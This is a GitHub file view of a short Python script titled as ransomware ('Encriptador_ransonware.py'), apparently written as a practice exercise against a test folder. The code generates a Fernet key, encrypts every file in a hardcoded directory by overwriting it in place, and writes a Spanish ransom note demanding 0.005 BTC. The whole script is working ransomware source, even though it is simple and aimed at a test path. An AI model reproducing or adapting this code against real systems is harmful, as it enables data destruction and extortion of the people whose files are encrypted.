-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathEncriptador_ransonware.py
More file actions
36 lines (27 loc) · 985 Bytes
/
Encriptador_ransonware.py
File metadata and controls
36 lines (27 loc) · 985 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from cryptography.fernet import Fernet
import os
def genera_key():
key= Fernet.generate_key()
with open('key.key','wb') as key_file:
key_file.write(key)
def retornar_key():
return open("key.key", 'rb').read()
def encrypt(items,key):
i= Fernet(key)
for item in items:
with open(item,'rb') as file:
file_data = file.read()
data = i.encrypt(file_data)
with open(item,'wb') as file:
file.write(data)
if __name__ == '__main__':
path = "D:/Python proyect/Ciberseguridad/Prueba de Encriptamiento"
items = os.listdir(path)
archivo = [path+"\\"+x for x in items]
genera_key()
key = retornar_key()
encrypt(archivo, key)
with open(path+"\\"+"Leeme.txt",'w') as file:
file.write("Los archivos fueron encriptados por un Ransoware\n")
file.write("Se colicita un rescate por tus archivos de 0.005 BTC \n")
file.write("By Anonimous")